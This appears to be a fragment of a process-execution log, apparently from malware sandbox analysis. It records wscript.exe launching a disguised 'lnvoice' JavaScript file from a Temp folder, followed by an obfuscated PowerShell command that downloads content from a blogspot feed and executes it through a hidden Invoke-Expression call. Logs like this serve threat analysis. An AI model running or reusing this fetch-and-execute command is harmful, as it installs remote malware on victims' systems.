wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\lnvoice_1332936990.js
2556powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c $((irm htlbook.blogspot.com/atom.xml) | .('{1}{0}'-f'XXXWww','I').replace('XXXWww','ex'))
2648